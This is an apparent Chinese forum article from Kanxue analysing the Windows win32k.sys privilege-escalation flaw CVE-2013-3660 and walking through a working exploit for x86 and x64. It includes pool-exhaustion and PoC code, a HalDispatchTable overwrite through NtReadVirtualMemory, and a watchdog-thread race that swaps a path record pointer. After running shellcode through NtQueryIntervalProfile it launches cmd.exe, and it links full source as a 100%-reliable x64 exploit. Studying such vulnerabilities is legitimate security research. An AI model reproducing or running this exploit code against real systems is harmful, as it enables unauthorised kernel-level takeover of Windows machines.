Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析

本文为看雪论坛优秀文章

看雪论坛作者ID：ExploitCN

一

前言

1. 概述

CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的，经过分析，发现是win32k.sys模块的一处本地提权漏洞，他本人也因此获得Pwnie Awards 2013提名。

2. 非常重要的说明

本文重点、亮点： 全网首发成功率100%的x64平台EXP。

针对文章要说明的几点：

① 本文不做基础知识普及，只对核心漏洞代码、利用代码进行说明；

② 阅读本文之前，先阅读x86平台的知识点：
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm

③ 不管是在github，还是国内网站，都是针对x86的系统对漏洞进行利用，EXP也仅仅是针对x86，并不能扩展到x64系统上。

④ 本文介绍了x64系统上的EXP编写、分析、调试；

⑤ 在x64位操作系统上，现在并没有直接可用的代码，经过研究，本人编写的EXP，成功率达到100%（原来x86下代码成功率为40%左右，x64下没有可直接使用的代码）。

⑥ 本文着重于指导EXP编写，尤其是x64系统下的EXP编写。

二

POC分析

1. 漏洞原因

原因主要是两点：

① 如果内存分配失败，图1中的new_PathRecord的next指针不会被初始化，从而指向的受污染数据。

② 没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里，如果还不理解污染数据是怎么污染池的，没关系，在第4节我会把调试的内存贴出来，就理解怎么污染到数据的了。

图1 new_PathRecord指针未初始化

图2 分配受污染的freelist链表

2. POC关键代码

POC代码关键点，分为三步：

1）消耗系统内存：

for (Size = 1 << 26; Size; Size >>= 1) {
               while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
                NumRegion++;
            }
        }

2）填入垃圾数据：

PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
        sizeof(PATHRECORD),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
 
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    PathRecord->next = (PATHRECORD*)(0x41414143);
    PathRecord->prev = (PATHRECORD*)(0x42424244);
    PathRecord->flags = 0;
 
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = 0;
        PointTypes[PointNum] = PT_BEZIERTO;
    }

3）触发漏洞：

for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
        {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

图4 漏洞触发函数调用关系图

注意上图中的红色字体，那是FlattenPath函数的调用关系。

3. POC运行结果

运行上面POC关键代码之前，我们还需要确定一件事情，Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值，是不是就是x、y的值？我们先把x、y赋值成0x41414141，看看运行结果。

POC运行结果见下图，由图可见，当Points[PointNum].x 等于0x41414141的时，出现异常时，读取的数值实际为0x41414140，被左移了4位。所以，在写地址的时候，要右移4位，才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4，
要右移4位的原因。

图5 POC运行结果

4. POC数据分析

根据3节的分析可知，我们按照2节的代码运行时，堆数据的内容，如下：

图6 POC数据分析图

在上图中，ebp+8，就是PATHRECORD结构体指针，从堆数据内容可以看出，在第二次调用newpathrec出现异常时，堆里面的0xfe580104的next指针指向0x000f0000，而这就是PathRecord申请的堆地址，堆地址的内容就是x、y的数值。如果还不明显，我再放一张图：

三

EXP分析

1. EXP关键原理分析

1.1 原始版EXP原理图

原始版的EXP原理图，见下图。

图7 原始版EXP原理图

EXP关键代码是：

ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

为什么代码这么写？见下图：

图8 Exploit利用点

在上图中，结合图7，变量a2就是ExploitRecord，它的prev是&HalDispatchTable[1]，所以new_PathRecord->prev就等于&HalDispatchTable[1]，再取next（next刚好偏移为0），实际就取到了HalDispatchTable[1]。

由图3、图7，再根据EXP关键代码可知，执行完第41行之后，HalDispatchTable[1]将会被写入new_PathRecord，这个地址是不可控的，但里面的next和prev将会分别是(PPATHRECORD)DispatchRedirect、(PPATHRECORD)&HalDispatchTable[1]。

此时, 调用HalDispatchTable[1]函数，将会调用ExploitPathRecord的堆地址，比如是：0xf0000。此时，0xf0000地址的内容已经是ExploitRecord.next指针的内容(PPATHRECORD)DispatchRedirect，这就意味着，next指针既要是一个有效的地址，也要是一个可执行的代码。这就是为什么一些EXP要有这个函数的原因：

// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址，
// 而0x40，就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID  __declspec(naked) HalDispatchRedirect(VOID)
{
    __asm inc eax
    __asm jmp dword ptr[ebp + 0x40]; //  0
    __asm inc ecx
        ...........
}

1.1 升级版EXP原理图

当使用x64操作系统的时候，由于只有fastcall，也就是寄存器传参，所以无法再使用上述办法编写EXP，升级后的原理，如下图：

图8 升级版EXP原理图

当把图3中的new_PathRecord写入MmUserProbeAddress之后，就可以通过：
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用，来实现把申请的堆地址写入HalDispatchTable+8，这时，调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。

2. EXP调试

在watchdog 函数里面，写 __asm {int 3}，然后断下，调试过程如下图：

上面是x86下原始版代码调试过程截图，对于x64下的调试，和x86异曲同工，就没有截图进行说明了。因为从原理也可以看出，其实x64下的调试过程更简单，但是EXP编写的技巧更强，这里，我就介绍下x64平台下编写EXP的技巧，调试的话，就各位自己下来调试了。

3. x64平台EXP关键代码详解

3.1 将shellcode地址写入目标地址

CodeAddr = (PVOID)0x1000;
    DWORD_PTR AllocSize = 0x1000;
    DWORD_PTR ADDR = 0;
    while (true)
    {
        DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
            &CodeAddr,
            0,
            &AllocSize,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        if (ret != 0) {
            ADDR = (DWORD_PTR)CodeAddr + 0x1000;
            CodeAddr = (PVOID)ADDR;
            continue;
        }
        else
        {
            break;
        }
    }
 
    NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
    printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
        NtReadVirtualMemoryBuffer, CodeAddr);
 
    printf("ShellCode_END = %p\n", ShellCode_END);
    printf("ShellCode = %p\n", ShellCode);
    printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);
    memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);

通过while循环，找到一个最低的堆地址，然后把这个地址作为长度，分配相应大小的空间。因为
把shellcode函数地址写入HalDispatchTable的代码是：
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);

前面已经分析过，现在我们结合代码，再来看看。

在
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里，
假如分配地址是0x1F0000，那么分配的内存大小就是0x1F0000，因为NtReadVirtualMemory，的最后一个参数是读入的实际大小，这儿需要定义成地址大小，那么就把CodeAddr这个地址，作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。

3.2 通过watchdog实现Exploit

第一部分：通过while循环写入垃圾数据:

while (TRUE)
    {
        Device = GetDC(NULL);
        Mutex = CreateMutex(NULL, FALSE, NULL);
        WaitForSingleObject(Mutex, INFINITE);
        printf("Mutex = %x\n", Mutex);
        Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL);
        if ( Thread ==NULL)
        {
            printf("Create Thread Failed!\n");
            continue;
        }
        printf("start CreateRoundRectRgn\n");
 
 
        for (Size = 1 << 26; Size; Size >>= 1) {
            while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
                NumRegion++;
            }
        }
 
        printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions);
        printf("Flattening curves...\n");
 
        for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
        {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
 
            if (PathRecord->next!=PathRecord)
            {
                DWORD_PTR ret = FALSE;
                SIZE_T Count = 0;
 
                //CodeAddr写入HalDispatchTable，写入HaliQuerySystemInformation
                printf("CodeAddr = %x\n", (SIZE_T)CodeAddr);
                printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer);
                printf("HalDispatchTable = %p\n", HalDispatchTable);
                ret  = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);
                printf("ret = %x\n", ret);
                if ( ret == NULL)
                {   
                    //在下面的调用shellcode那里打断点
                    ULONG ret = 0;
                    NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);
                    ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
                    return;
                }
            }
            EndPath(Device);
        }
 
        while (NumRegion) {
            DeleteObject(Regions[--NumRegion]);
        }
 
        printf("cleaning up...\n");
        ReleaseMutex(Mutex);
        WaitForSingleObject(Thread, INFINITE);
        ReleaseDC(NULL, Device);
        ReleaseDC(NULL, Device);
        printf("ReStarting!\n");
    }
}

第二部分：通过看门狗把PathRecord->next替换成ExploitPathRecord

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
    printf("Enter WatchdogThread!\n");
    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
    {
        printf("InterlockedExchangePointer\n");
        while (NumRegion)
        {
            DeleteObject(Regions[--NumRegion]);
        }
 
        InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord);
 
    }
    else
    {
        printf("Mutex object did not timeout, list not patched\n");
    }
    printf("Leave WatchdogThread!\n");
    return 0;
}

4. x64平台EXP编写注意事项

① 写shellcode函数的时候，不能通过全局参数传入函数地址去调用函数。因为汇编下的函数调用，跳转是相对下一条指令地址的跳转，通过memcpy拷贝shellcode函数到堆里面之后，这个偏移就是错误的。所以，只能通过形参把参数传进来，这样传递进来的地址，汇编之后，就会看到，函数的调用，是用类似call[rbx+0x20]这样的调用来实现的，而不是相对偏移实现。

② 修改了MmUserProbeAddress之后，如果没有及时恢复，还继续调试，系统会随时崩溃，这个时候最好是确保后续代码正确性，减少调试时间

③ shellcode函数实际上是仿冒的HaliQuerySystemInformation函数，所以NtQueryIntervalProfile->KeQueryIntervalProfile->HaliQuerySystemInformation
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数，就是HaliQuerySystemInformation的第三个参数Buffer取值。

④ 现在流行的EXP没有在最后利用、消耗内存的时候加入while循环，导致成功率不足40%，而且没有直接可用的x64平台代码。我在利用、消耗的地方加入了while循环，成功率提升到100%。当然，这看似很简单的操作，需要你去实际调试、总结，才可能想得出办法。

⑤ NtReadVirtualMemory((HANDLE)-1, 

NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8)中，CodeAddr在函数之外是堆地址，在作为函数形参的时候是长度。

之所以没有直接将shellcode地址作为NtReadVirtualMemory的参数，是因为x64平台的地址太大了，分配不了如此大的空间。实际在EXP编写代码时候，要从最小地址搜索，通过while循环，慢慢增加，搜索到一个最小的可分配的堆地址，然后分配和地址相同大小的空间之后，作为NtReadVirtualMemory第四个参数，就可以把堆地址写入目标地址了。

四

提权复现

你下载跟我相同版本的系统，成功率会是100%。

五

源代码下载

源代码已经上传github，下载地址为：
CVE-2013-3660 x64平台源代码（https://github.com/ExploitCN/CVE-2013-3660-x64-WIN7）

看雪ID：ExploitCN

https://bbs.pediy.com/user-home-945611.htm

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